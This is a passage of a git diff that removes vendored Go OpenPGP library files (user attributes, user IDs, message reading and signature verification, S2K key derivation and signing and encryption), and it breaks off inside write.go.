a/vendor/golang.org/x/crypto/openpgp/packet/userattribute.go +++ /dev/null @@ -1,91 +0,0 @@ -// Copyright 2013 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "bytes" - "image" - "image/jpeg" - "io" - "io/ioutil" -) - -const UserAttrImageSubpacket = 1 - -// UserAttribute is capable of storing other types of data about a user -// beyond name, email and a text comment. In practice, user attributes are typically used -// to store a signed thumbnail photo JPEG image of the user. -// See RFC 4880, section 5.12. -type UserAttribute struct { - Contents []*OpaqueSubpacket -} - -// NewUserAttributePhoto creates a user attribute packet -// containing the given images. -func NewUserAttributePhoto(photos ...image.Image) (uat *UserAttribute, err error) { - uat = new(UserAttribute) - for _, photo := range photos { - var buf bytes.Buffer - // RFC 4880, Section 5.12.1. - data := []byte{ - 0x10, 0x00, // Little-endian image header length (16 bytes) - 0x01, // Image header version 1 - 0x01, // JPEG - 0, 0, 0, 0, // 12 reserved octets, must be all zero. - 0, 0, 0, 0, - 0, 0, 0, 0} - if _, err = buf.Write(data); err != nil { - return - } - if err = jpeg.Encode(&buf, photo, nil); err != nil { - return - } - uat.Contents = append(uat.Contents, &OpaqueSubpacket{ - SubType: UserAttrImageSubpacket, - Contents: buf.Bytes()}) - } - return -} - -// NewUserAttribute creates a new user attribute packet containing the given subpackets. -func NewUserAttribute(contents ...*OpaqueSubpacket) *UserAttribute { - return &UserAttribute{Contents: contents} -} - -func (uat *UserAttribute) parse(r io.Reader) (err error) { - // RFC 4880, section 5.13 - b, err := ioutil.ReadAll(r) - if err != nil { - return - } - uat.Contents, err = OpaqueSubpackets(b) - return -} - -// Serialize marshals the user attribute to w in the form of an OpenPGP packet, including -// header. -func (uat *UserAttribute) Serialize(w io.Writer) (err error) { - var buf bytes.Buffer - for _, sp := range uat.Contents { - sp.Serialize(&buf) - } - if err = serializeHeader(w, packetTypeUserAttribute, buf.Len()); err != nil { - return err - } - _, err = w.Write(buf.Bytes()) - return -} - -// ImageData returns zero or more byte slices, each containing -// JPEG File Interchange Format (JFIF), for each photo in the -// user attribute packet. -func (uat *UserAttribute) ImageData() (imageData [][]byte) { - for _, sp := range uat.Contents { - if sp.SubType == UserAttrImageSubpacket && len(sp.Contents) > 16 { - imageData = append(imageData, sp.Contents[16:]) - } - } - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/packet/userid.go b/vendor/golang.org/x/crypto/openpgp/packet/userid.go deleted file mode 100644 index d6bea7d4ac..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/packet/userid.go +++ /dev/null @@ -1,160 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package packet - -import ( - "io" - "io/ioutil" - "strings" -) - -// UserId contains text that is intended to represent the name and email -// address of the key holder. See RFC 4880, section 5.11. By convention, this -// takes the form "Full Name (Comment) " -type UserId struct { - Id string // By convention, this takes the form "Full Name (Comment) " which is split out in the fields below. - - Name, Comment, Email string -} - -func hasInvalidCharacters(s string) bool { - for _, c := range s { - switch c { - case '(', ')', '<', '>', 0: - return true - } - } - return false -} - -// NewUserId returns a UserId or nil if any of the arguments contain invalid -// characters. The invalid characters are '\x00', '(', ')', '<' and '>' -func NewUserId(name, comment, email string) *UserId { - // RFC 4880 doesn't deal with the structure of userid strings; the - // name, comment and email form is just a convention. However, there's - // no convention about escaping the metacharacters and GPG just refuses - // to create user ids where, say, the name contains a '('. We mirror - // this behaviour. - - if hasInvalidCharacters(name) || hasInvalidCharacters(comment) || hasInvalidCharacters(email) { - return nil - } - - uid := new(UserId) - uid.Name, uid.Comment, uid.Email = name, comment, email - uid.Id = name - if len(comment) > 0 { - if len(uid.Id) > 0 { - uid.Id += " " - } - uid.Id += "(" - uid.Id += comment - uid.Id += ")" - } - if len(email) > 0 { - if len(uid.Id) > 0 { - uid.Id += " " - } - uid.Id += "<" - uid.Id += email - uid.Id += ">" - } - return uid -} - -func (uid *UserId) parse(r io.Reader) (err error) { - // RFC 4880, section 5.11 - b, err := ioutil.ReadAll(r) - if err != nil { - return - } - uid.Id = string(b) - uid.Name, uid.Comment, uid.Email = parseUserId(uid.Id) - return -} - -// Serialize marshals uid to w in the form of an OpenPGP packet, including -// header. -func (uid *UserId) Serialize(w io.Writer) error { - err := serializeHeader(w, packetTypeUserId, len(uid.Id)) - if err != nil { - return err - } - _, err = w.Write([]byte(uid.Id)) - return err -} - -// parseUserId extracts the name, comment and email from a user id string that -// is formatted as "Full Name (Comment) ". -func parseUserId(id string) (name, comment, email string) { - var n, c, e struct { - start, end int - } - var state int - - for offset, rune := range id { - switch state { - case 0: - // Entering name - n.start = offset - state = 1 - fallthrough - case 1: - // In name - if rune == '(' { - state = 2 - n.end = offset - } else if rune == '<' { - state = 5 - n.end = offset - } - case 2: - // Entering comment - c.start = offset - state = 3 - fallthrough - case 3: - // In comment - if rune == ')' { - state = 4 - c.end = offset - } - case 4: - // Between comment and email - if rune == '<' { - state = 5 - } - case 5: - // Entering email - e.start = offset - state = 6 - fallthrough - case 6: - // In email - if rune == '>' { - state = 7 - e.end = offset - } - default: - // After email - } - } - switch state { - case 1: - // ended in the name - n.end = len(id) - case 3: - // ended in comment - c.end = len(id) - case 6: - // ended in email - e.end = len(id) - } - - name = strings.TrimSpace(id[n.start:n.end]) - comment = strings.TrimSpace(id[c.start:c.end]) - email = strings.TrimSpace(id[e.start:e.end]) - return -} diff --git a/vendor/golang.org/x/crypto/openpgp/read.go b/vendor/golang.org/x/crypto/openpgp/read.go deleted file mode 100644 index 6ec664f44a..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/read.go +++ /dev/null @@ -1,442 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package openpgp implements high level operations on OpenPGP messages. -package openpgp // import "golang.org/x/crypto/openpgp" - -import ( - "crypto" - _ "crypto/sha256" - "hash" - "io" - "strconv" - - "golang.org/x/crypto/openpgp/armor" - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/packet" -) - -// SignatureType is the armor type for a PGP signature. -var SignatureType = "PGP SIGNATURE" - -// readArmored reads an armored block with the given type. -func readArmored(r io.Reader, expectedType string) (body io.Reader, err error) { - block, err := armor.Decode(r) - if err != nil { - return - } - - if block.Type != expectedType { - return nil, errors.InvalidArgumentError("expected '" + expectedType + "', got: " + block.Type) - } - - return block.Body, nil -} - -// MessageDetails contains the result of parsing an OpenPGP encrypted and/or -// signed message. -type MessageDetails struct { - IsEncrypted bool // true if the message was encrypted. - EncryptedToKeyIds []uint64 // the list of recipient key ids. - IsSymmetricallyEncrypted bool // true if a passphrase could have decrypted the message. - DecryptedWith Key // the private key used to decrypt the message, if any. - IsSigned bool // true if the message is signed. - SignedByKeyId uint64 // the key id of the signer, if any. - SignedBy *Key // the key of the signer, if available. - LiteralData *packet.LiteralData // the metadata of the contents - UnverifiedBody io.Reader // the contents of the message. - - // If IsSigned is true and SignedBy is non-zero then the signature will - // be verified as UnverifiedBody is read. The signature cannot be - // checked until the whole of UnverifiedBody is read so UnverifiedBody - // must be consumed until EOF before the data can be trusted. Even if a - // message isn't signed (or the signer is unknown) the data may contain - // an authentication code that is only checked once UnverifiedBody has - // been consumed. Once EOF has been seen, the following fields are - // valid. (An authentication code failure is reported as a - // SignatureError error when reading from UnverifiedBody.) - SignatureError error // nil if the signature is good. - Signature *packet.Signature // the signature packet itself, if v4 (default) - SignatureV3 *packet.SignatureV3 // the signature packet if it is a v2 or v3 signature - - decrypted io.ReadCloser -} - -// A PromptFunction is used as a callback by functions that may need to decrypt -// a private key, or prompt for a passphrase. It is called with a list of -// acceptable, encrypted private keys and a boolean that indicates whether a -// passphrase is usable. It should either decrypt a private key or return a -// passphrase to try. If the decrypted private key or given passphrase isn't -// correct, the function will be called again, forever. Any error returned will -// be passed up. -type PromptFunction func(keys []Key, symmetric bool) ([]byte, error) - -// A keyEnvelopePair is used to store a private key with the envelope that -// contains a symmetric key, encrypted with that key. -type keyEnvelopePair struct { - key Key - encryptedKey *packet.EncryptedKey -} - -// ReadMessage parses an OpenPGP message that may be signed and/or encrypted. -// The given KeyRing should contain both public keys (for signature -// verification) and, possibly encrypted, private keys for decrypting. -// If config is nil, sensible defaults will be used. -func ReadMessage(r io.Reader, keyring KeyRing, prompt PromptFunction, config *packet.Config) (md *MessageDetails, err error) { - var p packet.Packet - - var symKeys []*packet.SymmetricKeyEncrypted - var pubKeys []keyEnvelopePair - var se *packet.SymmetricallyEncrypted - - packets := packet.NewReader(r) - md = new(MessageDetails) - md.IsEncrypted = true - - // The message, if encrypted, starts with a number of packets - // containing an encrypted decryption key. The decryption key is either - // encrypted to a public key, or with a passphrase. This loop - // collects these packets. -ParsePackets: - for { - p, err = packets.Next() - if err != nil { - return nil, err - } - switch p := p.(type) { - case *packet.SymmetricKeyEncrypted: - // This packet contains the decryption key encrypted with a passphrase. - md.IsSymmetricallyEncrypted = true - symKeys = append(symKeys, p) - case *packet.EncryptedKey: - // This packet contains the decryption key encrypted to a public key. - md.EncryptedToKeyIds = append(md.EncryptedToKeyIds, p.KeyId) - switch p.Algo { - case packet.PubKeyAlgoRSA, packet.PubKeyAlgoRSAEncryptOnly, packet.PubKeyAlgoElGamal: - break - default: - continue - } - var keys []Key - if p.KeyId == 0 { - keys = keyring.DecryptionKeys() - } else { - keys = keyring.KeysById(p.KeyId) - } - for _, k := range keys { - pubKeys = append(pubKeys, keyEnvelopePair{k, p}) - } - case *packet.SymmetricallyEncrypted: - se = p - break ParsePackets - case *packet.Compressed, *packet.LiteralData, *packet.OnePassSignature: - // This message isn't encrypted. - if len(symKeys) != 0 || len(pubKeys) != 0 { - return nil, errors.StructuralError("key material not followed by encrypted message") - } - packets.Unread(p) - return readSignedMessage(packets, nil, keyring) - } - } - - var candidates []Key - var decrypted io.ReadCloser - - // Now that we have the list of encrypted keys we need to decrypt at - // least one of them or, if we cannot, we need to call the prompt - // function so that it can decrypt a key or give us a passphrase. -FindKey: - for { - // See if any of the keys already have a private key available - candidates = candidates[:0] - candidateFingerprints := make(map[string]bool) - - for _, pk := range pubKeys { - if pk.key.PrivateKey == nil { - continue - } - if !pk.key.PrivateKey.Encrypted { - if len(pk.encryptedKey.Key) == 0 { - pk.encryptedKey.Decrypt(pk.key.PrivateKey, config) - } - if len(pk.encryptedKey.Key) == 0 { - continue - } - decrypted, err = se.Decrypt(pk.encryptedKey.CipherFunc, pk.encryptedKey.Key) - if err != nil && err != errors.ErrKeyIncorrect { - return nil, err - } - if decrypted != nil { - md.DecryptedWith = pk.key - break FindKey - } - } else { - fpr := string(pk.key.PublicKey.Fingerprint[:]) - if v := candidateFingerprints[fpr]; v { - continue - } - candidates = append(candidates, pk.key) - candidateFingerprints[fpr] = true - } - } - - if len(candidates) == 0 && len(symKeys) == 0 { - return nil, errors.ErrKeyIncorrect - } - - if prompt == nil { - return nil, errors.ErrKeyIncorrect - } - - passphrase, err := prompt(candidates, len(symKeys) != 0) - if err != nil { - return nil, err - } - - // Try the symmetric passphrase first - if len(symKeys) != 0 && passphrase != nil { - for _, s := range symKeys { - key, cipherFunc, err := s.Decrypt(passphrase) - if err == nil { - decrypted, err = se.Decrypt(cipherFunc, key) - if err != nil && err != errors.ErrKeyIncorrect { - return nil, err - } - if decrypted != nil { - break FindKey - } - } - - } - } - } - - md.decrypted = decrypted - if err := packets.Push(decrypted); err != nil { - return nil, err - } - return readSignedMessage(packets, md, keyring) -} - -// readSignedMessage reads a possibly signed message if mdin is non-zero then -// that structure is updated and returned. Otherwise a fresh MessageDetails is -// used. -func readSignedMessage(packets *packet.Reader, mdin *MessageDetails, keyring KeyRing) (md *MessageDetails, err error) { - if mdin == nil { - mdin = new(MessageDetails) - } - md = mdin - - var p packet.Packet - var h hash.Hash - var wrappedHash hash.Hash -FindLiteralData: - for { - p, err = packets.Next() - if err != nil { - return nil, err - } - switch p := p.(type) { - case *packet.Compressed: - if err := packets.Push(p.Body); err != nil { - return nil, err - } - case *packet.OnePassSignature: - if !p.IsLast { - return nil, errors.UnsupportedError("nested signatures") - } - - h, wrappedHash, err = hashForSignature(p.Hash, p.SigType) - if err != nil { - md = nil - return - } - - md.IsSigned = true - md.SignedByKeyId = p.KeyId - keys := keyring.KeysByIdUsage(p.KeyId, packet.KeyFlagSign) - if len(keys) > 0 { - md.SignedBy = &keys[0] - } - case *packet.LiteralData: - md.LiteralData = p - break FindLiteralData - } - } - - if md.SignedBy != nil { - md.UnverifiedBody = &signatureCheckReader{packets, h, wrappedHash, md} - } else if md.decrypted != nil { - md.UnverifiedBody = checkReader{md} - } else { - md.UnverifiedBody = md.LiteralData.Body - } - - return md, nil -} - -// hashForSignature returns a pair of hashes that can be used to verify a -// signature. The signature may specify that the contents of the signed message -// should be preprocessed (i.e. to normalize line endings). Thus this function -// returns two hashes. The second should be used to hash the message itself and -// performs any needed preprocessing. -func hashForSignature(hashId crypto.Hash, sigType packet.SignatureType) (hash.Hash, hash.Hash, error) { - if !hashId.Available() { - return nil, nil, errors.UnsupportedError("hash not available: " + strconv.Itoa(int(hashId))) - } - h := hashId.New() - - switch sigType { - case packet.SigTypeBinary: - return h, h, nil - case packet.SigTypeText: - return h, NewCanonicalTextHash(h), nil - } - - return nil, nil, errors.UnsupportedError("unsupported signature type: " + strconv.Itoa(int(sigType))) -} - -// checkReader wraps an io.Reader from a LiteralData packet. When it sees EOF -// it closes the ReadCloser from any SymmetricallyEncrypted packet to trigger -// MDC checks. -type checkReader struct { - md *MessageDetails -} - -func (cr checkReader) Read(buf []byte) (n int, err error) { - n, err = cr.md.LiteralData.Body.Read(buf) - if err == io.EOF { - mdcErr := cr.md.decrypted.Close() - if mdcErr != nil { - err = mdcErr - } - } - return -} - -// signatureCheckReader wraps an io.Reader from a LiteralData packet and hashes -// the data as it is read. When it sees an EOF from the underlying io.Reader -// it parses and checks a trailing Signature packet and triggers any MDC checks. -type signatureCheckReader struct { - packets *packet.Reader - h, wrappedHash hash.Hash - md *MessageDetails -} - -func (scr *signatureCheckReader) Read(buf []byte) (n int, err error) { - n, err = scr.md.LiteralData.Body.Read(buf) - scr.wrappedHash.Write(buf[:n]) - if err == io.EOF { - var p packet.Packet - p, scr.md.SignatureError = scr.packets.Next() - if scr.md.SignatureError != nil { - return - } - - var ok bool - if scr.md.Signature, ok = p.(*packet.Signature); ok { - scr.md.SignatureError = scr.md.SignedBy.PublicKey.VerifySignature(scr.h, scr.md.Signature) - } else if scr.md.SignatureV3, ok = p.(*packet.SignatureV3); ok { - scr.md.SignatureError = scr.md.SignedBy.PublicKey.VerifySignatureV3(scr.h, scr.md.SignatureV3) - } else { - scr.md.SignatureError = errors.StructuralError("LiteralData not followed by Signature") - return - } - - // The SymmetricallyEncrypted packet, if any, might have an - // unsigned hash of its own. In order to check this we need to - // close that Reader. - if scr.md.decrypted != nil { - mdcErr := scr.md.decrypted.Close() - if mdcErr != nil { - err = mdcErr - } - } - } - return -} - -// CheckDetachedSignature takes a signed file and a detached signature and -// returns the signer if the signature is valid. If the signer isn't known, -// ErrUnknownIssuer is returned. -func CheckDetachedSignature(keyring KeyRing, signed, signature io.Reader) (signer *Entity, err error) { - var issuerKeyId uint64 - var hashFunc crypto.Hash - var sigType packet.SignatureType - var keys []Key - var p packet.Packet - - packets := packet.NewReader(signature) - for { - p, err = packets.Next() - if err == io.EOF { - return nil, errors.ErrUnknownIssuer - } - if err != nil { - return nil, err - } - - switch sig := p.(type) { - case *packet.Signature: - if sig.IssuerKeyId == nil { - return nil, errors.StructuralError("signature doesn't have an issuer") - } - issuerKeyId = *sig.IssuerKeyId - hashFunc = sig.Hash - sigType = sig.SigType - case *packet.SignatureV3: - issuerKeyId = sig.IssuerKeyId - hashFunc = sig.Hash - sigType = sig.SigType - default: - return nil, errors.StructuralError("non signature packet found") - } - - keys = keyring.KeysByIdUsage(issuerKeyId, packet.KeyFlagSign) - if len(keys) > 0 { - break - } - } - - if len(keys) == 0 { - panic("unreachable") - } - - h, wrappedHash, err := hashForSignature(hashFunc, sigType) - if err != nil { - return nil, err - } - - if _, err := io.Copy(wrappedHash, signed); err != nil && err != io.EOF { - return nil, err - } - - for _, key := range keys { - switch sig := p.(type) { - case *packet.Signature: - err = key.PublicKey.VerifySignature(h, sig) - case *packet.SignatureV3: - err = key.PublicKey.VerifySignatureV3(h, sig) - default: - panic("unreachable") - } - - if err == nil { - return key.Entity, nil - } - } - - return nil, err -} - -// CheckArmoredDetachedSignature performs the same actions as -// CheckDetachedSignature but expects the signature to be armored. -func CheckArmoredDetachedSignature(keyring KeyRing, signed, signature io.Reader) (signer *Entity, err error) { - body, err := readArmored(signature, SignatureType) - if err != nil { - return - } - - return CheckDetachedSignature(keyring, signed, body) -} diff --git a/vendor/golang.org/x/crypto/openpgp/s2k/s2k.go b/vendor/golang.org/x/crypto/openpgp/s2k/s2k.go deleted file mode 100644 index 4b9a44ca26..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/s2k/s2k.go +++ /dev/null @@ -1,273 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -// Package s2k implements the various OpenPGP string-to-key transforms as -// specified in RFC 4800 section 3.7.1. -package s2k // import "golang.org/x/crypto/openpgp/s2k" - -import ( - "crypto" - "hash" - "io" - "strconv" - - "golang.org/x/crypto/openpgp/errors" -) - -// Config collects configuration parameters for s2k key-stretching -// transformatioms. A nil *Config is valid and results in all default -// values. Currently, Config is used only by the Serialize function in -// this package. -type Config struct { - // Hash is the default hash function to be used. If - // nil, SHA1 is used. - Hash crypto.Hash - // S2KCount is only used for symmetric encryption. It - // determines the strength of the passphrase stretching when - // the said passphrase is hashed to produce a key. S2KCount - // should be between 1024 and 65011712, inclusive. If Config - // is nil or S2KCount is 0, the value 65536 used. Not all - // values in the above range can be represented. S2KCount will - // be rounded up to the next representable value if it cannot - // be encoded exactly. When set, it is strongly encrouraged to - // use a value that is at least 65536. See RFC 4880 Section - // 3.7.1.3. - S2KCount int -} - -func (c *Config) hash() crypto.Hash { - if c == nil || uint(c.Hash) == 0 { - // SHA1 is the historical default in this package. - return crypto.SHA1 - } - - return c.Hash -} - -func (c *Config) encodedCount() uint8 { - if c == nil || c.S2KCount == 0 { - return 96 // The common case. Correspoding to 65536 - } - - i := c.S2KCount - switch { - // Behave like GPG. Should we make 65536 the lowest value used? - case i < 1024: - i = 1024 - case i > 65011712: - i = 65011712 - } - - return encodeCount(i) -} - -// encodeCount converts an iterative "count" in the range 1024 to -// 65011712, inclusive, to an encoded count. The return value is the -// octet that is actually stored in the GPG file. encodeCount panics -// if i is not in the above range (encodedCount above takes care to -// pass i in the correct range). See RFC 4880 Section 3.7.7.1. -func encodeCount(i int) uint8 { - if i < 1024 || i > 65011712 { - panic("count arg i outside the required range") - } - - for encoded := 0; encoded < 256; encoded++ { - count := decodeCount(uint8(encoded)) - if count >= i { - return uint8(encoded) - } - } - - return 255 -} - -// decodeCount returns the s2k mode 3 iterative "count" corresponding to -// the encoded octet c. -func decodeCount(c uint8) int { - return (16 + int(c&15)) << (uint32(c>>4) + 6) -} - -// Simple writes to out the result of computing the Simple S2K function (RFC -// 4880, section 3.7.1.1) using the given hash and input passphrase. -func Simple(out []byte, h hash.Hash, in []byte) { - Salted(out, h, in, nil) -} - -var zero [1]byte - -// Salted writes to out the result of computing the Salted S2K function (RFC -// 4880, section 3.7.1.2) using the given hash, input passphrase and salt. -func Salted(out []byte, h hash.Hash, in []byte, salt []byte) { - done := 0 - var digest []byte - - for i := 0; done < len(out); i++ { - h.Reset() - for j := 0; j < i; j++ { - h.Write(zero[:]) - } - h.Write(salt) - h.Write(in) - digest = h.Sum(digest[:0]) - n := copy(out[done:], digest) - done += n - } -} - -// Iterated writes to out the result of computing the Iterated and Salted S2K -// function (RFC 4880, section 3.7.1.3) using the given hash, input passphrase, -// salt and iteration count. -func Iterated(out []byte, h hash.Hash, in []byte, salt []byte, count int) { - combined := make([]byte, len(in)+len(salt)) - copy(combined, salt) - copy(combined[len(salt):], in) - - if count < len(combined) { - count = len(combined) - } - - done := 0 - var digest []byte - for i := 0; done < len(out); i++ { - h.Reset() - for j := 0; j < i; j++ { - h.Write(zero[:]) - } - written := 0 - for written < count { - if written+len(combined) > count { - todo := count - written - h.Write(combined[:todo]) - written = count - } else { - h.Write(combined) - written += len(combined) - } - } - digest = h.Sum(digest[:0]) - n := copy(out[done:], digest) - done += n - } -} - -// Parse reads a binary specification for a string-to-key transformation from r -// and returns a function which performs that transform. -func Parse(r io.Reader) (f func(out, in []byte), err error) { - var buf [9]byte - - _, err = io.ReadFull(r, buf[:2]) - if err != nil { - return - } - - hash, ok := HashIdToHash(buf[1]) - if !ok { - return nil, errors.UnsupportedError("hash for S2K function: " + strconv.Itoa(int(buf[1]))) - } - if !hash.Available() { - return nil, errors.UnsupportedError("hash not available: " + strconv.Itoa(int(hash))) - } - h := hash.New() - - switch buf[0] { - case 0: - f := func(out, in []byte) { - Simple(out, h, in) - } - return f, nil - case 1: - _, err = io.ReadFull(r, buf[:8]) - if err != nil { - return - } - f := func(out, in []byte) { - Salted(out, h, in, buf[:8]) - } - return f, nil - case 3: - _, err = io.ReadFull(r, buf[:9]) - if err != nil { - return - } - count := decodeCount(buf[8]) - f := func(out, in []byte) { - Iterated(out, h, in, buf[:8], count) - } - return f, nil - } - - return nil, errors.UnsupportedError("S2K function") -} - -// Serialize salts and stretches the given passphrase and writes the -// resulting key into key. It also serializes an S2K descriptor to -// w. The key stretching can be configured with c, which may be -// nil. In that case, sensible defaults will be used. -func Serialize(w io.Writer, key []byte, rand io.Reader, passphrase []byte, c *Config) error { - var buf [11]byte - buf[0] = 3 /* iterated and salted */ - buf[1], _ = HashToHashId(c.hash()) - salt := buf[2:10] - if _, err := io.ReadFull(rand, salt); err != nil { - return err - } - encodedCount := c.encodedCount() - count := decodeCount(encodedCount) - buf[10] = encodedCount - if _, err := w.Write(buf[:]); err != nil { - return err - } - - Iterated(key, c.hash().New(), passphrase, salt, count) - return nil -} - -// hashToHashIdMapping contains pairs relating OpenPGP's hash identifier with -// Go's crypto.Hash type. See RFC 4880, section 9.4. -var hashToHashIdMapping = []struct { - id byte - hash crypto.Hash - name string -}{ - {1, crypto.MD5, "MD5"}, - {2, crypto.SHA1, "SHA1"}, - {3, crypto.RIPEMD160, "RIPEMD160"}, - {8, crypto.SHA256, "SHA256"}, - {9, crypto.SHA384, "SHA384"}, - {10, crypto.SHA512, "SHA512"}, - {11, crypto.SHA224, "SHA224"}, -} - -// HashIdToHash returns a crypto.Hash which corresponds to the given OpenPGP -// hash id. -func HashIdToHash(id byte) (h crypto.Hash, ok bool) { - for _, m := range hashToHashIdMapping { - if m.id == id { - return m.hash, true - } - } - return 0, false -} - -// HashIdToString returns the name of the hash function corresponding to the -// given OpenPGP hash id. -func HashIdToString(id byte) (name string, ok bool) { - for _, m := range hashToHashIdMapping { - if m.id == id { - return m.name, true - } - } - - return "", false -} - -// HashIdToHash returns an OpenPGP hash id which corresponds the given Hash. -func HashToHashId(h crypto.Hash) (id byte, ok bool) { - for _, m := range hashToHashIdMapping { - if m.hash == h { - return m.id, true - } - } - return 0, false -} diff --git a/vendor/golang.org/x/crypto/openpgp/write.go b/vendor/golang.org/x/crypto/openpgp/write.go deleted file mode 100644 index 4ee71784eb..0000000000 --- a/vendor/golang.org/x/crypto/openpgp/write.go +++ /dev/null @@ -1,418 +0,0 @@ -// Copyright 2011 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package openpgp - -import ( - "crypto" - "hash" - "io" - "strconv" - "time" - - "golang.org/x/crypto/openpgp/armor" - "golang.org/x/crypto/openpgp/errors" - "golang.org/x/crypto/openpgp/packet" - "golang.org/x/crypto/openpgp/s2k" -) - -// DetachSign signs message with the private key from signer (which must -// already have been decrypted) and writes the signature to w. -// If config is nil, sensible defaults will be used. -func DetachSign(w io.Writer, signer *Entity, message io.Reader, config *packet.Config) error { - return detachSign(w, signer, message, packet.SigTypeBinary, config) -} - -// ArmoredDetachSign signs message with the private key from signer (which -// must already have been decrypted) and writes an armored signature to w. -// If config is nil, sensible defaults will be used. -func ArmoredDetachSign(w io.Writer, signer *Entity, message io.Reader, config *packet.Config) (err error) { - return armoredDetachSign(w, signer, message, packet.SigTypeBinary, config) -} - -// DetachSignText signs message (after canonicalising the line endings) with -// the private key from signer (which must already have been decrypted) and -// writes the signature to w. -// If config is nil, sensible defaults will be used. -func DetachSignText(w io.Writer, signer *Entity, message io.Reader, config *packet.Config) error { - return detachSign(w, signer, message, packet.SigTypeText, config) -} - -// ArmoredDetachSignText signs message (after canonicalising the line endings) -// with the private key from signer (which must already have been decrypted) -// and writes an armored signature to w. -// If config is nil, sensible defaults will be used. -func ArmoredDetachSignText(w io.Writer, signer *Entity, message io.Reader, config *packet.Config) error { - return armoredDetachSign(w, signer, message, packet.SigTypeText, config) -} - -func armoredDetachSign(w io.Writer, signer *Entity, message io.Reader, sigType packet.SignatureType, config *packet.Config) (err error) { - out, err := armor.Encode(w, SignatureType, nil) - if err != nil { - return - } - err = detachSign(out, signer, message, sigType, config) - if err != nil { - return - } - return out.Close() -} - -func detachSign(w io.Writer, signer *Entity, message io.Reader, sigType packet.SignatureType, config *packet.Config) (err error) { - if signer.PrivateKey == nil { - return errors.InvalidArgumentError("signing key doesn't have a private key") - } - if signer.PrivateKey.Encrypted { - return errors.InvalidArgumentError("signing key is encrypted") - } - - sig := new(packet.Signature) - sig.SigType = sigType - sig.PubKeyAlgo = signer.PrivateKey.PubKeyAlgo - sig.Hash = config.Hash() - sig.CreationTime = config.Now() - sig.IssuerKeyId = &signer.PrivateKey.KeyId - - h, wrappedHash, err := hashForSignature(sig.Hash, sig.SigType) - if err != nil { - return - } - io.Copy(wrappedHash, message) - - err = sig.Sign(h, signer.PrivateKey, config) - if err != nil { - return - } - - return sig.Serialize(w) -} - -// FileHints contains metadata about encrypted files. This metadata is, itself, -// encrypted. -type FileHints struct { - // IsBinary can be set to hint that the contents are binary data. - IsBinary bool - // FileName hints at the name of the file that should be written. It's - // truncated to 255 bytes if longer. It may be empty to suggest that the - // file should not be written to disk. It may be equal to "_CONSOLE" to - // suggest the data should not be written to disk. - FileName string - // ModTime contains the modification time of the file, or the zero time if not applicable. - ModTime time.Time -} - -// SymmetricallyEncrypt acts like gpg -c: it encrypts a file with a passphrase. -// The resulting WriteCloser must be closed after the contents of the file have -// been written. -// If config is nil, sensible defaults will be used. -func SymmetricallyEncrypt(ciphertext io.Writer, passphrase []byte, hints *FileHints, config *packet.Config) (plaintext io.WriteCloser, err error) { - if hints == nil { - hints = &FileHints{} - } - - key, err := packet.SerializeSymmetricKeyEncrypted(ciphertext, passphrase, config) - if err != nil { - return - } - w, err := packet.SerializeSymmetricallyEncrypted(ciphertext, config.Cipher(), key, config) - if err != nil { - return - } - - literaldata := w - if algo := config.Compression(); algo != packet.CompressionNone { - var compConfig *packet.CompressionConfig - if config != nil { - compConfig = config.CompressionConfig - } - literaldata, err = packet.SerializeCompressed(w, algo, compConfig) - if err != nil { - return - } - } - - var epochSeconds uint32 - if !hints.ModTime.IsZero() { - epochSeconds = uint32(hints.ModTime.Unix()) - } - return packet.SerializeLiteral(literaldata, hints.IsBinary, hints.FileName, epochSeconds) -} - -// intersectPreferences mutates and returns a prefix of a that contains only -// the values in the intersection of a and b. The order of a is preserved. -func intersectPreferences(a []uint8, b []uint8) (intersection []uint8) { - var j int - for _, v := range a { - for _, v2 := range b { - if v == v2 { - a[j] = v - j++ - break - } - } - } - - return a[:j] -} - -func hashToHashId(h crypto.Hash) uint8 { - v, ok := s2k.HashToHashId(h) - if !ok { - panic("tried to convert unknown hash") - } - return v -} - -// writeAndSign writes the data as a payload package and, optionally, signs -// it. hints contains optional information, that is also encrypted, -// that aids the recipients in processing the message. The resulting -// WriteCloser must be closed after the contents of the file have been -// written. If config is nil, sensible defaults will be used. -func writeAndSign(payload io.WriteCloser, candidateHashes []uint8, signed *Entity, hints *FileHints, config *packet.Config) (plaintext io.WriteCloser, err error) { - var signer *packet.PrivateKey - if signed != nil { - signKey, ok := signed.signingKey(config.Now()) - if !ok { - return nil, errors.InvalidArgumentError("no valid signing keys") - } - signer = signKey.PrivateKey - if signer == nil { - return nil, errors.InvalidArgumentError("no private key in signing key") - } - if signer.Encrypted { - return nil, errors.InvalidArgumentError("signing key must be decrypted") - } - } - - var hash crypto.Hash - for _, hashId := range candidateHashes { - if h, ok := s2k.HashIdToHash(hashId); ok && h.Available() { - hash = h - break - } - } - - // If the hash specified by config is a candidate, we'll use that. - if configuredHash := config.Hash(); configuredHash.Available() { - for _, hashId := range candidateHashes { - if h, ok := s2k.HashIdToHash(hashId); ok && h == configuredHash { - hash = h - break - } - } - } - - if hash == 0 { - hashId := candidateHashes[0] - name, ok := s2k.HashIdToString(hashId) - if !ok { - name = "#" + strconv.Itoa(int(hashId)) - } - return nil, errors.InvalidArgumentError("cannot encrypt because no candidate hash functions are compiled in. (Wanted " + name + " in this case.)") - } - - if signer != nil { - ops := &packet.OnePassSignature{ - SigType: packet.SigTypeBinary, - Hash: hash, - PubKeyAlgo: signer.PubKeyAlgo, - KeyId: signer.KeyId, - IsLast: true, - } - if err := ops.Serialize(payload); err != nil { - return nil, err - } - } - - if hints == nil { - hints = &FileHints{} - } - - w := payload - if signer != nil { - // If we need to write a signature packet after the literal - // data then we need to stop literalData from closing - // encryptedData. - w = noOpCloser{w} - - } - var epochSeconds uint32 - if !hints.ModTime.IsZero() { - epochSeconds 